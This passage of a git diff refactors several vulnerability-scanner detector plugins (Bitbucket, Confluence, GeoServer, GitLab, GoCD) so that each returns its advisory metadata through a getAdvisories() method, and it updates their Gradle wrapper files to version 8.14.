(LTS), 7.21.4 (LTS), 8.0.3, 8" - + ".1.3, 8.2.2, 8.3.1)or later")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java b/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java index a00e8deac..b44857f0b 100644 --- a/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java +++ b/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java @@ -16,12 +16,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -267,27 +264,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-36804")) - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2022-36804")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-36804: Bitbucket Command injection vulnerability") - .setDescription( - "A vulnerability in Bitbucket allows remote code execution. An attacker" - + " with read to a repository can execute arbitrary code by sending" - + " a malicious HTTP request. Versions between 6.10.17 and 8.3.0" - + " (included) are affected.") - .setRecommendation( - "Update the Bitbucket Server and Data Center installation to a version" - + " that provides a fix (7.6.17 (LTS), 7.17.10 (LTS), 7.21.4 (LTS)," - + " 8.0.3, 8.1.3, 8.2.2, 8.3.1)or later")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/confluence_cve_2021_26084/src/main/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetector.java b/community/detectors/confluence_cve_2021_26084/src/main/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetector.java index 34bcf5c3d..64ef0b3aa 100644 --- a/community/detectors/confluence_cve_2021_26084/src/main/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetector.java +++ b/community/detectors/confluence_cve_2021_26084/src/main/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetector.java @@ -71,6 +71,25 @@ public final class AtlassianConfluencePreAuthOgnlInjectionDetector implements Vu this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2021-26084")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-26084")) + .setSeverity(Severity.CRITICAL) + .setTitle("Atlassian Confluence Pre-Auth OGNL Injection") + .setDescription( + "An OGNL injection vulnerability exists that allows an unauthenticated attacker to" + + " execute arbitrary code on a Confluence Server or Data Center instance.") + .setRecommendation("enable authentication") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -118,16 +137,6 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2021-26084")) - .setSeverity(Severity.CRITICAL) - .setTitle("Atlassian Confluence Pre-Auth OGNL Injection") - .setDescription("An OGNL injection vulnerability exists that allows an " - + "unauthenticated attacker to execute arbitrary code on a Confluence " - + "Server or Data Center instance.") - .setRecommendation("enable authentication") - ).build(); + .setVulnerability(this.getAdvisories().get(0)).build(); } } diff --git a/community/detectors/confluence_cve_2021_26084/src/test/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetectorTest.java b/community/detectors/confluence_cve_2021_26084/src/test/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetectorTest.java index a97543792..f5a705e5e 100644 --- a/community/detectors/confluence_cve_2021_26084/src/test/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetectorTest.java +++ b/community/detectors/confluence_cve_2021_26084/src/test/java/com/google/tsunami/plugins/detectors/confluence/AtlassianConfluencePreAuthOgnlInjectionDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import javax.inject.Inject; import okhttp3.mockwebserver.MockResponse; @@ -96,17 +93,7 @@ public void detect_whenConfluenceIsVulnerable_reportsVuln() { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2021-26084")) - .setSeverity(Severity.CRITICAL) - .setTitle("Atlassian Confluence Pre-Auth OGNL Injection") - .setDescription("An OGNL injection vulnerability exists that allows an " - + "unauthenticated attacker to execute arbitrary code on a Confluence " - + "Server or Data Center instance.") - .setRecommendation("enable authentication") - ).build()); + .setVulnerability(detector.getAdvisories().get(0)).build()); } @Test diff --git a/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.jar b/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.properties b/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/geoserver_cve_2024_36401/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/geoserver_cve_2024_36401/gradlew b/community/detectors/geoserver_cve_2024_36401/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/geoserver_cve_2024_36401/gradlew +++ b/community/detectors/geoserver_cve_2024_36401/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/geoserver_cve_2024_36401/gradlew.bat b/community/detectors/geoserver_cve_2024_36401/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/geoserver_cve_2024_36401/gradlew.bat +++ b/community/detectors/geoserver_cve_2024_36401/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java b/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java index d243fc581..8622cabb5 100644 --- a/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java +++ b/community/detectors/geoserver_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java @@ -92,6 +92,29 @@ public class GeoserverCve202436401VulnDetector implements VulnDetector { this.oobSleepDuration = oobSleepDuration; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("GeoserverCve202436401")) + .setSeverity(Severity.CRITICAL) + .setTitle("Geoserver RCE (CVE-2024-36401)") + .setDescription( + "This detector checks for Geoserver RCE (CVE-2024-36401). " + + "Multiple OGC request parameters allow Remote Code Execution (RCE) " + + "by unauthenticated users through specially crafted input against " + + "a default GeoServer installation due to unsafely evaluating property " + + "names as XPath expressions.") + .setRecommendation( + "Upgrade Geoserver to a patched version. The vulnerability was fixed in" + + " versions 2.23.6, 2.24.4, and 2.25.2.") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-36401")) + .build()); + } @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -176,25 +199,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("GeoserverCve202436401")) - .setSeverity(Severity.CRITICAL) - .setTitle("Geoserver RCE (CVE-2024-36401)") - .setDescription( - "This detector checks for Geoserver RCE (CVE-2024-36401). " - + "Multiple OGC request parameters allow Remote Code Execution (RCE) " - + "by unauthenticated users through specially crafted input against " - + "a default GeoServer installation due to unsafely evaluating property " - + "names as XPath expressions.") - .setRecommendation( - "Upgrade Geoserver to a patched version. The vulnerability was fixed in" - + " versions 2.23.6, 2.24.4, and 2.25.2.") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-36401"))) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java b/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java index 24039edf5..419ef91c6 100644 --- a/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java +++ b/community/detectors/geoserver_cve_2024_36401/src/test/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorTest.java @@ -36,10 +36,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -117,27 +114,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("GeoserverCve202436401")) - .setSeverity(Severity.CRITICAL) - .setTitle("Geoserver RCE (CVE-2024-36401)") - .setDescription( - "This detector checks for Geoserver RCE (CVE-2024-36401). Multiple OGC" - + " request parameters allow Remote Code Execution (RCE) by" - + " unauthenticated users through specially crafted input against a" - + " default GeoServer installation due to unsafely evaluating" - + " property names as XPath expressions.") - .setRecommendation( - "Upgrade Geoserver to a patched version. The vulnerability was fixed in" - + " versions 2.23.6, 2.24.4, and 2.25.2.") - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2024-36401"))) + .setVulnerability(detector.getAdvisories().get(0)) .build()); Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(2); Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); diff --git a/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.jar b/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.properties b/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/gitlab_cve_2021_22205/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/gitlab_cve_2021_22205/gradlew b/community/detectors/gitlab_cve_2021_22205/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/gitlab_cve_2021_22205/gradlew +++ b/community/detectors/gitlab_cve_2021_22205/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/gitlab_cve_2021_22205/gradlew.bat b/community/detectors/gitlab_cve_2021_22205/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/gitlab_cve_2021_22205/gradlew.bat +++ b/community/detectors/gitlab_cve_2021_22205/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java b/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java index baebf6196..95bcafb71 100644 --- a/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java +++ b/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java @@ -130,6 +130,25 @@ public void setCookie(String cookie) { } } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_22205")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-22205")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2021-22205 GitLab CE/EE Unauthenticated RCE using ExifTool") + .setRecommendation( + "GitLab users should upgrade to the latest version of GitLab as soon as " + + "possible. In addition, ideally, GitLab should not be an internet facing" + + " service. If you need to access your GitLab from the internet, consider " + + "placing it behind a VPN.") + .setDescription(VULN_DESCRIPTION).build()); + } @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -220,20 +239,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_22205")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-22205 GitLab CE/EE Unauthenticated RCE using ExifTool") - .setRecommendation( - "GitLab users should upgrade to the latest version of GitLab as soon as " - + "possible. In addition, ideally, GitLab should not be an internet facing" - + " service. If you need to access your GitLab from the internet, consider " - + "placing it behind a VPN.") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/gitlab_cve_2021_22205/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetectorTest.java b/community/detectors/gitlab_cve_2021_22205/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetectorTest.java index a2403492e..9726618b3 100644 --- a/community/detectors/gitlab_cve_2021_22205/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetectorTest.java +++ b/community/detectors/gitlab_cve_2021_22205/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetectorTest.java @@ -29,12 +29,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -101,20 +98,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_22205")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-22205 GitLab CE/EE Unauthenticated RCE using ExifTool") - .setRecommendation( - "GitLab users should upgrade to the latest version of GitLab as soon as" - + " possible. In addition, ideally, GitLab should not be an " - + "internet facing service. If you need to access your GitLab from" - + " the internet, consider placing it behind a VPN.") - .setDescription(Cve202122205VulnDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java b/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java index 748bbcbb0..0108d8dd7 100644 --- a/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java +++ b/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java @@ -71,6 +71,26 @@ public class GoCDArbitraryFileReadingDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("GoCD_ARBITRARY_FILE_READING")) + .setSeverity(Severity.CRITICAL) + .setTitle("GoCD Pre-Auth Arbitrary File Reading vulnerability") + .setDescription( + "In GoCD 21.2.0 and earlier, there is an endpoint that can be accessed " + + "without authentication. This endpoint has a directory traversal " + + "vulnerability, and any user can read any file on the server " + + "without authentication, causing information leakage." + + "https://www.gocd.org/releases/#21-3-0") + .setRecommendation("Update 21.3.0 released, or later released.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -109,21 +129,7 @@ public DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("GoCD_ARBITRARY_FILE_READING")) - .setSeverity(Severity.CRITICAL) - .setTitle("GoCD Pre-Auth Arbitrary File Reading vulnerability") - .setDescription( - "In GoCD 21.2.0 and earlier, there is an endpoint that can be accessed " - + "without authentication. This endpoint has a directory traversal " - + "vulnerability, and any user can read any file on the server " - + "without authentication, causing information leakage." - + "https://www.gocd.org/releases/#21-3-0") - .setRecommendation("Update 21.3.0 released, or later released.") - ) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/gocd_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetectorTest.java b/community/detectors/gocd_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetectorTest.java index dc53751c3..c28d4ffd8 100644 --- a/community/detectors/gocd_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetectorTest.java +++ b/community/detectors/gocd_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -102,21 +99,7 @@ public void detect_whenVulnerable_returnsVulnerability() { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("GoCD_ARBITRARY_FILE_READING")) - .setSeverity(Severity.CRITICAL) - .setTitle("GoCD Pre-Auth Arbitrary File Reading vulnerability") - .setDescription( - "In GoCD 21.2.0 and earlier, there is an endpoint that can be accessed " - + "without authentication. This endpoint has a directory traversal " - + "vulnerability, and any user can read any file on the server " - + "without authentication, causing information leakage." - + "https://www.gocd.org/releases/#21-3-0") - .setRecommendation("Update 21.3.0 released, or later released.") - ) + .setVulnerability(detector.getAdvisories().get(0)) .build()); assertThat(mockWebServer.getRequestCount()).isEqualTo(1); } diff --git a/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.jar b/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/gradio_cve_2023_51449/gradle/wrapper/gradle-wrapper.jar and 